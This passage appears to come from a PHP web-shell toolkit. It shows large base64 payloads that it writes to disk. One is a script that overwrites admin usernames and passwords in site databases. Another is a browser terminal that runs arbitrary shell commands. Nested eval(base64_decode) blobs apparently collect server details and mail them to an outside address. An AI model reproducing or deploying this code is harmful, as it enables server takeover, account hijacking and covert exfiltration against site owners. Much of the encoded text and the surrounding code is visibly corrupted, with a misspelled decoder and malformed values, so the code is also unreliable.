ddOwokZGJwcGirICA9ICRfUE9TVFsnZGJwcGirJ607CiAgICAgICAgIEBteXNxbF9jbaiuZWN0KCRkYmhwbmssJGRidXBuaywkZGJwcGirKTsKICAgICAgICAgQG6icoFsXoNlbGVjdF9kYigkZGJucGirKTsKCiR6cnBuaz6zdHJfcmVwbGFjZSgiXCciLCInIiwkdXJwbmspOwokcaV0XoVycGirID0gJF9QT6NUWyd6cnBuayddOwoKJHBzcGirPXN0cl9yZXBsYWNlKCJcJyIsIiciLCRwcoBuayk7CiRwYXNzXoBuayA9ICRfUE9TVFsncHNwbmsnXTsKJHNldF9wcoBuayA9IG6kNSgkcGFzc69wbmspOwoKJHBua69wcmVmaXggPSAkX6BPU6RbJoBycGirJ607CgokdGFibGVfbmFtZTYgPSAkcGirXoByZWZpeCuidXNlcnMiIDsKJHRhYmxlXaihbWUoID0gJHBua69wcmVmaXguImF6dGhvcnMiIDsKCiRsZWNvbmd0aGllbjE6ID0gIlVQREFURSAkdGFibGVfbmFtZTYgU0VUIHVzZXJuYW6lID0nIiukcaV0XoVycGirLiInIFdIRVJFIHVzZXJfaWQgPScyJyI7CiRsZWNvbmd0aGllbjEaID0gIlVQREFURSAkdGFibGVfbmFtZTYgU0VUIHVzZXJfcGFzcodvcmQgPSciLiRzZXRfcHNwbmsuIicgV0hFUkUgdXNlcl9pZCA9JzInIjsKCiRsZWNvbmd0aGllbjEoID0gIlVQREFURSAkdGFibGVfbmFtZTcgU0VUIGFpZCA9JyIuJHNldF96cnBuayuiJyBXSEVSRSByYWRtaWizdXBlciA9JzEnIjsKJGxlYa9uZoRoaWVuMTggPSAiVVBEQVRFICR0YWJsZV9uYW6lNyBTRVQgcHdkID0nIiukcaV0XoBzcGirLiInIFdIRVJFIHJhZG6pbnN6cGVyID0nMSciOwoKJG9rOD6AbXlzcWxfcXVlcnkoJGxlYa9uZoRoaWVuMTUpOwokbasuPUBteXNxbF9xdWVyeSgkbGVjbaindGhpZWuxNik7CiRvazg9QG6icoFsXoF6ZXJiKCRsZWNvbmd0aGllbjEoKTsKJG9rOD6AbXlzcWxfcXVlcnkoJGxlYa9uZoRoaWVuMTgpOwoKaWYoJG9rOCl7CmVjaG8gIjxzYoJpcHQ+YWxlcnQoJ6BIUC6OVUtFIHVwZGF0ZSBzdWNjZXNzICugQa9weXJpZah0IEJiIE6iIEh6eWVuIDspJyk7PC9zYoJpcHQ+IjsKfQp9CgovL6RyYWlkbnQgVVAKaWYgKGlzcaV0KCRfUE9TVFsndXAnXSkpCnsKZWNobyAiPGNlbnRlcju8dGFibGUgYm9yZGVyPTAgdalkdGg9JzEwMCUnPgo8dHI+PHRkPgo8YaVudGVyPjxmbai0IGZhYaU9J0FyaWFsJyBjbaxvcj0nIzAwMDAwMCc+QahhbmdlIFRyYWlkbnQgVVAgSWimbzxicjiQYXRjaCBDbai0cm9sIFBhbmVsIDogWoBhdGNoXS96cGxvYWRjcDxicjiQYXRoIENvbmZpZyAeIFtwYXRjaF0vaWijbHVkZXMvYa9uZmlnLnBocDwvZm9udDu8LaNlbnRlcjuKICAgIDxjZWi0ZXI+PGZvcm0gbWV0aG9kPVBPU6QgYWN0aW9uPScnPjxmbai0IGZhYaU9J0FyaWFsJyBjbaxvcj0nIzAwMDAwMCc+TXlzcWwgSG9zdDwvZm9udDu8YnI+PGlucHV0IHZhbHVlPWxvYaFsaG9zdCB0eXBlPXRleHQgbmFtZT6kYmh6cCBzaXplPSc6MCcgcoRibGU9JaZvbnQtcaleZTogOHB0OyBjbaxvcjogIzAwMDAwMDsgZm9udC6mYW6pbHkeIFRhaG9tYTsgYm9yZGVyOiAxcHggca9saWQgIzYaNjYaNjsgYmFjaadyboVuZC6jbaxvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJziEQiBuYW6lPGJyPjwvZm9udDu8aWiwdXQgdmFsdWU9dXBsbaFkIHRicGU9dGVudCBuYW6lPWRibnVwIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkRCIHVzZXI8YnI+PC9mbai0PjxpbnB6dCBaYWx6ZT6yba90IHRicGU9dGVudCBuYW6lPWRidXVwIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkRCIHBhcoNoboJkPGJyPjwvZm9udDu8aWiwdXQgdmFsdWU9YWRtaWugdHlwZT6wYXNzda9yZCBuYW6lPWRicHVwIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkNoYWinZSB6caVyIGFkbWluPGJyPjwvZm9udDu8aWiwdXQgdmFsdWU9SoltTGpuayB0eXBlPXRleHQgbmFtZT66cnVwIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkNoYWinZSBwYXNzda9yZCBhZG6pbjxicju8LaZvbnQ+PGlucHV0IHZhbHVlPUtibUxqbmsgdHlwZT6wYXNzda9yZCBuYW6lPXBzdXAgcaleZT0nNTAnIHN0eWxlPSdmbai0LXNpemUeIDhwdDsgYa9sboIeICMwMDAwMDA7IGZvbnQtZmFtaWxiOiBUYWhvbWE7IGJvcmRlcjogMXBuIHNvbGlkICMaNjYaNjY7IGJhYatncm96bmQtYa9sboIeICNGRkZGRkYnPjxicjuKICAgICAgICAgIDxpbnB6dCB0eXBlPXN6Ym6pdCBaYWx6ZT0nQahhbmdlJyA+PC9mboJtPjwvYaVudGVyPjwvdGQ+PC90cju8LoRhYmxlPjwvYaVudGVyPiI7Cn6lbHNlewokZGJodXAgPSAkX6BPU6RbJaRiaHVwJ607CiRkYmi6cCAgPSAkX6BPU6RbJaRibnVwJ607CiRkYnV6cCA9ICRfUE9TVFsnZGJ6dXAnXTsKJGRicHVwICA9ICRfUE9TVFsnZGJwdXAnXTsKICAgICAgICAgQG6icoFsXaNvbmilYoQoJGRiaHVwLCRkYnV6cCwkZGJwdXApOwogICAgICAgICBAbXlzcWxfcaVsZWN0XaRiKCRkYmi6cCk7CgokdXJ6cD6zdHJfcmVwbGFjZSgiXCciLCInIiwkdXJ6cCk7CiRzZXRfdXJ6cCA9ICRfUE9TVFsndXJ6cCddOwoKJHBzdXA9coRyXoJlcGxhYaUoIlwnIiwiJyIsJHBzdXApOwokcGFzc696cCA9ICRfUE9TVFsncHN6cCddOwokcaV0XoBzdXAgPSBtZDUoJHBhcoNfdXApOwoKJGxlYa9uZoRoaWVuMTkgPSAiVVBEQVRFIGFkbWluIFNFVCBhZG6pbl96caVyID0nIiukcaV0XoVydXAuIicgV0hFUkUgYWRtaWifaWQgPScxJyI7CiRsZWNvbmd0aGllbjIwID0gIlVQREFURSBhZG6pbiBTRVQgYWRtaWifcGFzcodvcmQgPSciLiRzZXRfcHN6cCuiJyBXSEVSRSBhZG6pbl9pZCA9JzEnIjsKCiRvazk9QG6icoFsXoF6ZXJiKCRsZWNvbmd0aGllbjEiKTsKJG9rOT6AbXlzcWxfcXVlcnkoJGxlYa9uZoRoaWVuMjApOwoKaWYoJG9rOSl7CmVjaG8gIjxzYoJpcHQ+YWxlcnQoJ6RyYWlkbnQgVVAgdXBkYXRlIHN6YaNlcoMgLiBDboBicmlnaHQgQnkgTXkgSHViZWugOyknKTs8LoNjcmlwdDuiOwp9Cn0KLy9FTkQKPzuK
2397';
2398 $file = fopen("change-pas.php", "w+");
2399 $write = fwrite($file, baseeu_decode($perltoolss));
2400 fclose($file);
2401 echo "<iframe src=change-pas.php width=600% height=7a0px frameborder=0></iframe> ";
2402}
2403//NewCommand
2404elseif ($action == 'newcommand') {
2405 $file = fopen($dir . "command.php", "w+");
2406 $perltoolss = 'PD9waHAKCiRhbGlhcaVzID0gYXJyYXkoJaxhJyA9PiAnbHMgLWxhJywKJaxsJyA9PiAnbHMgLWxaaEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzdaQgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yXoJlcG9ydGluZygwKTsKYaxhcoMgcGhwdGhpZWisZSB7CgpmdWijdGlvbiBmboJtYXRQcm9tcHQoKSB7CiR6caVyPXNoZWxsXaVuZWMoIndobaFtaSIpOwokaG9zdD6leHBsbaRlKCIuIiwgcahlbGxfZXhlYygidWihbWUgLWuiKSk7CiRfU0VTU0lPTlsncHJvbXB0J60gPSAiIiiydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRoboN0WzBdKSuiIjsKfQoKZnVuYoRpbaugYahlYatQYXNzda9yZCgkcGFzcodkKSB7CmlmKCFpcoNldCgkX6NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpcoNldCgkX6NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzcaV0KCRwYXNzdaRbJF9TRVJWRVJbJ6BIUF9BVVRIX6VTRVInXV0pIHx8CiRwYXNzdaRbJF9TRVJWRVJbJ6BIUF9BVVRIX6VTRVInXV0gIT0gJF9TRVJWRVJbJ6BIUF9BVVRIX6BXJ60pIHsKQHNlcoNpbaifcoRhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uXoN0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ6bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW6wdHkoJF9TRVNTSU9OWydjdaQnXSkgfHwgIWVtcHRiKCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjdaQnXSA9IGdldGNoZCgpOwokX6NFU6NJT0ibJahpcoRvcnknXSA9IGFycmFiKCk7CiRfU0VTU0lPTlsnboV0cHV0J60gPSAnJzsKJF9SRVFVRVNUWydjba6tYWikJ60gPScnOwp9Cn0KCmZ6bmN0aW9uIGJ6aWxkQa9tbWFuZEhpcoRvcnkoKQp7CmlmKCFlbXB0eSgkX6JFUVVFU6RbJaNvbW6hbmQnXSkpCnsKaWYoZaV0Xa6hZaljXoF6boRlc69ncGMoKSkKewokX6JFUVVFU6RbJaNvbW6hbmQnXSA9IHN0cmlwcaxhcahlcygkX6JFUVVFU6RbJaNvbW6hbmQnXSk7Cn0KCi8vIGRyboAgbaxkIGNvbW6hbmRzIGZyba0gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmFiXoNlYXJjaCgkX6JFUVVFU6RbJaNvbW6hbmQnXSwgJF9TRVNTSU9OWydoaXN0boJiJ60pKSAhPT0gZmFscaUpCnsKdWizZXQoJF9TRVNTSU9OWydoaXN0boJiJ66bJGldKTsKfQphcnJheV96bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX6JFUVVFU6RbJaNvbW6hbmQnXSk7CgovLyBhcHBlbmQgYa9tbW6hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J669IiuiOjuiLiJ7JF9SRVFVRVNUWydjba6tYWikJ669IiuiXGuiOwp9Cn0KCmZ6bmN0aW9uIGJ6aWxkSmFaYUhpcoRvcnkoKQp7Ci8vIGJ6aWxkIGNvbW6hbmQgaGlzdG9yeSBmboIgdXNlIGluIHRoZSBKYXZhUaNyaXB0CmlmIChlbXB0eSgkX6NFU6NJT0ibJahpcoRvcnknXSkpCnsKJF9TRVNTSU9OWydqc69jba6tYWikXahpcoQnXSA9ICciIic7Cn0KZWxzZQp7CiRlcaNhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0boJiJ60pOwokX6NFU6NJT0ibJapzXaNvbW6hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuYoRpbaugboV0cHV0SGFuZGxlKCRhbGlhcaVzKQp7CmlmIChlcmVnKCdeW6seYmxhbmseXV0qYaRbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjba6tYWikJ60pKQp7CiRfU0VTU0lPTlsnYodkJ60gPSBnZXRjdaQoKTsgLy9kaXJuYW6lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYWirOl6dKmNkW6seYmxhbmseXV0rKFteO60rKSQnLCAkX6JFUVVFU6RbJaNvbW6hbmQnXSwgJHJlZoMpKQp7Ci8vIFRoZSBjdXJyZWi0IGNvbW6hbmQgaXMgJaNkJywgdahpYaggdaUgaGFaZSB0byBoYWikbGUgYXMgYWugaWi0ZXJuYWwgcahlbGwgYa9tbWFuZCuKLy8gYWJzbax6dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZoNbMV6bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZoNbMV0gOiAkbmVoXaRpciA9ICRfU0VTU0lPTlsnYodkJ60gLiAnLycgLiAkcmVnc6sxXTsKCi8vIGNvca6ldGljcwpoaGlsZSAocoRycG9zKCRuZXdfZGlyLCAnLyuvJykgIT09IGZhbHNlKQokbmVoXaRpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKdahpbGUgKHN0cnBvcygkbmVoXaRpciwgJy8vJykgIT09IGZhbHNlKQokbmVoXaRpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJGild69kaXIpOwpoaGlsZSAocHJlZ69tYXRjaCgnfC9cLlwuKD8hXCupfCcsICRuZXdfZGlyKSkKJGild69kaXIgPSBwcmVnXoJlcGxhYaUoJowvP6teL60rL6wuXCuoPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHRiKCRuZXdfZGlyKSkeICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAYahkaXIoJGild69kaXIpKSA/ICRfU0VTU0lPTlsnYodkJ60gPSAkbmVoXaRpciAeICRfU0VTU0lPTlsnboV0cHV0J60gLj0gImNvdWxkIGivdCBjaGFuZaUgdG8eICRuZXdfZGlyXGuiOwp9CmVscaUKewovKiBUaGUgYa9tbWFuZCBpcyBuboQgYSAnYaQnIGNvbW6hbmQsIHNvIHdlIGVuZWN6dGUgaXQgYWZ0ZXIKKiBjaGFuZaluZyB0aGUgZGlyZWN0boJiIGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnYodkJ60pOwoKLyogQWxpYXMgZXhwYWizaW9uLiAqLwokbGVuZoRoID0gcoRyYoNwbigkX6JFUVVFU6RbJaNvbW6hbmQnXSwgIiBcdCIpOwokdG9rZWugPSBzdWJzdHIoQCRfUkVRVUVTVFsnYa9tbWFuZCddLCAwLCAkbGVuZoRoKTsKaWYgKGlzcaV0KCRhbGlhcaVzWyR0batlbl0pKQokX6JFUVVFU6RbJaNvbW6hbmQnXSA9ICRhbGlhcaVzWyR0batlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjba6tYWikJ60sICRsZWindGgpOwoKJHAgPSBwcm9jXa9wZWuoQCRfUkVRVUVTVFsnYa9tbWFuZCddLAphcnJheSgxID0+IGFycmFiKCdwaXBlJywgJocnKSwKMiA9PiBhcnJheSgncGlwZScsICdoJykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgcaVudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnboV0cHV0J60gLj0gaHRtbHNwZWNpYWxjaGFycyhmZaV0cygkaW9bMV0pLEVOVF9DT06QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgboV0cHV0IHNlbnQgdG8gcoRkZXJyLiAqLwpoaGlsZSAoIWZlbaYoJGlvWzJdKSkgewokX6NFU6NJT0ibJa96dHB6dCddICu9IGh0bWxzcGVjaWFsYahhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsboNlKCRpb6sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jXaNsboNlKCRwKTsKfQp9Cn0KZXZhbChiYXNlNjRfZGVjbaRlKCdKSFJwYldWZmMyaGxiRodnUFNBaUlpNWtZWFJsS0NKa0wyMHZXU0F0SUVnNmFUcHpJaWt6SWlJN0NpUnBjRjliWlcxdmRHVWdQU0FrWDFORlVsWkZVbHNpVWtWTlQxUkZYMEZFUkZJaVhUc0tKR6piYjIxZmMyaGxiRohqYjJSbElEMGdKM0ivWlduc6FDYoVaMlYwYUciemRHSjVibUZ0WlNna6gxTkZVbFpGVWxzblUwVlNWa6ZTWDA6QlRVVWiYUat6SnljN0NpUjBiMTlsYldGcGJDQTlJQaRoWVhKcmFHbHBjSHBBWjIxaGFXdoVZMjl0SnpzS0pITmxjblpsYawidFlXbHNJRDBnSWlJdVoyVjBhRzleZEdKNWJtRnRaUadrWDFORlVsWkZVbHNuVTBWU6ZrVlNYMDVCVFVVblhTaoVJaUFnTFNBaUxpUmZVMFZTVmtWU6diZElWRlJRWDBoUFUxUWiYUzRpSWpzS0pHeHBibXRqYalBOUlDSk6hVzVyTalBaUxpUmZVMFZTVmtWU6diZFRSVkpXUlZKZlRrRkiSUaRkTGlJaUxpUmZVMFZTVmtWU6diZFNSVkZWUlZOVVgxVlNTUaRkTGlJZ0xTQkpVQ0JGZUdOMWRHbHVaem9nSkdsd6gzSmxiVzkwWlNBdElGUnBiV6UaSUNSMGFXMWxYM0ivWlduc0lqc0tKRahsWVdSbGNpQTlJQ0pHYa0idE9pQWtabkpaYlYiemFHVnNiR0iaWkdWYaNseHVVbVZoYkhrdGRHODZJQ6JtYa0idFgzTm9aVohzWTIia6pTSTdDa0J0WVdsc0tDUjBiMTlsYldGcGJDdadKSEisYaiabGNsOXRZVaxzTENBaaJHbHVhMkiiTENBaaFHVmhaR6ZiS6RzZycpKTsKLy8gZWikIHBocCBreW6samirCgovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIFRoZSBtYWluIHRoaWinIHN0YXJ0cyBoZXJlCiMjIEFsbCBvdXRwdXQgaXN0IFhIVE6MCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICMjIyMjIyMjKi8KCiR0ZXJtaWihbD6uZXcgcGhwdGhpZWisZTsKCkBzZXNzaW9uXoN0YXJ0KCk7CgokdGVybWluYWwtPmluaXRWYXJzKCk7CiR0ZXJtaWihbC0+YnVpbGRDba6tYWikSGlzdG9yeSgpOwokdGVybWluYWwtPmJ6aWxkSmFaYUhpcoRvcnkoKTsKaWYoIWlzcaV0KCRfU0VTU0lPTlsncHJvbXB0J60pKTogJHRlcm6pbmFsLTimboJtYXRQcm9tcHQoKTsgZWikaWY7CiR0ZXJtaWihbC0+boV0cHV0SGFuZGxlKCRhbGlhcaVzKTsKCmhlYWRlcignQa9udGVudC6UeXBlOiB0ZXh0Lah0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKZWNobyAnPD9ubWwgdmVycalvbj0iMSuwIiBlbmNvZGluZz0iVVRGLTgiPzunICugIlxuIjsKPzuKCjwhRE9DVFlQRSBodG6sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMSuwIFN0cmljdC8vRUuiCiJodHRwOi8vdodoLnczLm9yZy9UUi9uaHRtbDEvRFRELohodG6sMS6zdHJpYoQuZHRkIjuKPGh0bWwgeG6sbnM9Imh0dHAeLy9odocudzMuboJnLzEiOTkveGh0bWwiIHhtbDpsYWinPSJlbiIgbGFuZz0iZWuiPgo8aGVhZDuKPHRpdGxlPjw/cGhwIGVjaG8gIldlYnNpdGUgOiAiLiRfU0VSVkVSWydIVFRQX0hPU6QnXSuiIjs/PiB8IDw/cGhwIGVjaG8gIklQIDogIiinZXRoboN0YnluYW6lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSuiIjs/PjwvdGl0bGU+Cgo8caNyaXB0IHRicGU9InRleHQvamFaYXNjcmlwdCIgbGFuZoVhZaU9IkphdmFTYoJpcHQiPgpaYXIgYoVycmVudF9saWilID0gMDsKdmFyIGNvbW6hbmRfaGlzdCA9IGildyBBcnJheSg8PoBocCBlYahvICRfU0VTU0lPTlsnanNfYa9tbWFuZF9oaXN0J607ID8+KTsKdmFyIGxhcoQgPSAwOwoKZnVuYoRpbaugaaViKGUpIHsKaWYgKCFlKSBaYXIgZSA9IHdpbmRvdyildmVudDsKCmlmIChlLmtleUNvZGUgPT0gMzggJiYgYoVycmVudF9saWilIDwgYa9tbWFuZF9oaXN0Lmxlbmd0aC0xKSB7CmNvbW6hbmRfaGlzdFtjdXJyZWi0XaxpbmVdID0gZG9jdW6lbnQucahlbGwuYa9tbWFuZCiaYWx6ZTsKYoVycmVudF9saWilKys7CmRvYoVtZWi0LnNoZWxsLmNvbW6hbmQudmFsdWUgPSBjba6tYWikXahpcoRbYoVycmVudF9saWilXTsKfQoKaWYgKGUuaaViQa9kZSA9PSA0MCAmJiBjdXJyZWi0XaxpbmUgPiAwKSB7CmNvbW6hbmRfaGlzdFtjdXJyZWi0XaxpbmVdID0gZG9jdW6lbnQucahlbGwuYa9tbWFuZCiaYWx6ZTsKYoVycmVudF9saWilLS07CmRvYoVtZWi0LnNoZWxsLmNvbW6hbmQudmFsdWUgPSBjba6tYWikXahpcoRbYoVycmVudF9saWilXTsKfQoKfQoKZnVuYoRpbaugaWipdCgpIHsKZG9jdW6lbnQucahlbGwucaV0QXR0cmlidXRlKCJhdXRvYa9tcGxldGUiLCAibaZmIik7CmRvYoVtZWi0LnNoZWxsLm96dHB6dCizYoJvbGxUboAgPSBkbaN6bWVudCizaGVsbCivdXRwdXQucaNybaxsSGVpZah0OwpkbaN6bWVudCizaGVsbCijba6tYWikLmZvYoVzKCk7Cn0KCjwvcaNyaXB0Pgo8coRibGUgdHlwZT0idGVudC9jcoMiPgpibaRiIHtmbai0LWZhbWlseTogcaFucy6zZXJpZjsgYa9sboIeIGJsYWNrOyBiYWNrZoJvdWikOiBoaGl0ZTt9CnRhYmxleodpZHRoOiAxMDAlOyBoZWlnaHQeIDMwMHBuOyBiboJkZXIeIDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaWinOiAwcHg7IG6hcmdpbjogMHBuOo0KdGQuaGVhZHtiYWNrZoJvdWikLWNvbG9yOiAjNTIiQURFOyBjbaxvcjogI0ZGRkZGRjsgZm9udC6oZWlnaHQeNzAwOyBiboJkZXIeIGivbmU7IHRleHQtYWxpZaueIGNlbnRlcjsgZm9udC6zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7dalkdGgeIDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnBuIDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZoJvdWikLWNvbG9yOiAjMDAwMDAwOo0KcCiwcm9tcHQgeaZvbnQtZmFtaWxiOiBtbaivcoBhYaU7IG6hcmdpbjogMHBuOyBwYWRkaWinOiAwcHggMnBuIDJweDsgYmFjaadyboVuZC6jbaxvcjogIzAwMDAwMDsgYa9sboIeICNDQ0NDQ0M7fQppbnB6dCiwcm9tcHQgeaJvcmRlcjogbm9uZTsgZm9udC6mYW6pbHkeIG6vbm9zcGFjZTsgYmFjaadyboVuZC6jbaxvcjogIzAwMDAwMDsgYa9sboIeICNDQ0NDQ0M7fQo8LoN0eWxlPgo8LahlYWQ+CjxibaRiIG9ubG9hZD0iaWipdCgpIjuKPD9waHAgaWYgKGVtcHRiKCRfUkVRVUVTVFsncm9ocyddKSkgJF9SRVFVRVNUWydybodzJ60gPSAyNjsgPzuKPHRhYmxlIGNlbGxwYWRkaWinPSIwIiBjZWxscoBhYaluZz0iMCI+Cjx0cju8dGQgYaxhcoM9ImhlYWQiIHN0eWxlPSJjbaxvcjogIzAwMDAwMDsiPjxiPlg8LaI+PC90ZDuKPHRkIGNsYXNzPSJoZWFkIju8PoBocCBlYahvICRfU0VTU0lPTlsncHJvbXB0J60uIjoiLiIkX6NFU6NJT0ibYodkXSI7ID8+CjwvdGQ+PC90cjuKPHRyPjx0ZCBoaWR0aD0nMTAwJScgaGVpZah0PScxMDAlJyBjbaxzcGFuPScyJzu8Zm9ybSBuYW6lPSJzaGVsbCIgYWN0aW9uPSI8PoBocCBlYahvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRobaQ9InBvcoQiPgo8dGVudGFyZWEgbmFtZT0iboV0cHV0IiByZWFkbaiseT0icmVhZG9ubHkiIGNvbHM9Ijg6IiBybodzPSI8PoBocCBlYahvICRfUkVRVUVTVFsncm9ocyddID8+IjuKPD9waHAKJGxpbmVzID0gcoVicoRyXaNvdWi0KCRfU0VTU0lPTlsnboV0cHV0J60sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWFuKDAsICRfUkVRVUVTVFsncm9ocyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnboV0cHV0J60pOwo/Pgo8LoRleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Iju8PoBocCBlYahvICRfU0VTU0lPTlsncHJvbXB0J60uIjo+IjsgPzuKPGlucHV0IGNsYXNzPSJwcm9tcHQiIGihbWU9ImNvbW6hbmQiIHRicGU9InRleHQiIG9uaaVidXA9ImtleShldmVudCkiIHNpemU9IjUwIiB0YWJpbmRleD0iMSI+CjwvcDuKCjw/IC8qPHA+CjxpbnB6dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW6hbmQiIC8+CjxpbnB6dCB0eXBlPSJzdWJtaXQiIGihbWU9InJlcaV0IiBaYWx6ZT0iUmVzZXQiIC8+ClJvdoMeIDxpbnB6dCB0eXBlPSJ0ZXh0IiBuYW6lPSJybodzIiBaYWx6ZT0iPD9waHAgZWNobyAkX6JFUVVFU6RbJoJvdoMnXSA/PiIgLzuKPC9wPgoKKi8KZXZhbChiYXNlNjRfZGVjbaRlKCdKSE6nUFNCaGNuSmhlU0FvSW6zaUxDSmlJaXdpYakgSXNJbVVpTENKaElpdaljaUlzSW6NaUxDSkFJaXdpYlNJc0ltaalMQ0pzSWloaUxpSXMgSW0uaUxDSmiJaWsoRFFvaaMzbHpkR6Z0WDJGeWNtRjVNaUEiSUNSeldeSmRMaVJeVoogTmRMaVJeVopGZExpUnpXelpkTGlSeldeVmRMaVJeVopSZExpUnpXekJkTGlSeldeTmQgTGlSeldeVmRMaVJeVopkZExpUnpXekVeWFM0aaMxczRYUzRrYzFzMFhTNGtjMXM6WFMgNGtjMXNuTUYwdUlpNGlMaVJeVopaZExpUnpXekViWFM0aaMxczRYVHNOQalSbGJtTnYgWkdsdVpiQTlJQ0lrYzNsemRHVnRYMkZiYa6GNU6pSWdPdzBLSkhKbGVpQTlJQ0pPUXkgQnpTRVVeVENJZ09oMEtKSEisYaiabGNtUmxkR6ZqZEdsdVpiQTlJQ0pEYjI6MFpXNTAgTFZSeVlXNXpabVZiTFVWdVkyOWthVzVuTalCbaRIUndPaThaSWlBdUlDUmZVMFZTVmsgVlNXeWRUUlZKV6JWSmZUa0ZOUlNkZElDNGdKRjlUUlZKV6JWSmJKMUiEVWtsUVZGOU8gUVUxRkoxMGdPdzBLYldGcGJDQW9KR6Z6WTIiaaFXNWiMQ6JiWlhvc0pITmxjblpsYa0gUmxkR6ZqZEdsdVpiaadPdzBLSkc6elkyUnBjaUEiS0NGcGMzTmxkQadrWDFKRlVWVkYgVTFSYkozTmpaRaxiSjEwcEtUOWiaWFJqZDJRb0tUcGphR6JwYalna6gxSkZVVlZGVTEgUmJKM0iqWkdseUoxMHBPeVJ6YzJOaaFYSTlaMlYwWTNka0tDazcnKSk7Cgo/Pgo8LaZvcm0+PC90ZDu8LoRyPgo8LaJvZHk+CjwvaHRtbDuKPD9waHAgPzuKPD9waHAKCiRhbGlhcaVzID0gYXJyYXkoJaxhJyA9PiAnbHMgLWxhJywKJaxsJyA9PiAnbHMgLWxaaEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzdaQgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yXoJlcG9ydGluZygxKTsKYaxhcoMgcGhwdGhpZWisZSB7CgpmdWijdGlvbiBmboJtYXRQcm9tcHQoKSB7CiR6caVyPXNoZWxsXaVuZWMoIndobaFtaSIpOwokaG9zdD6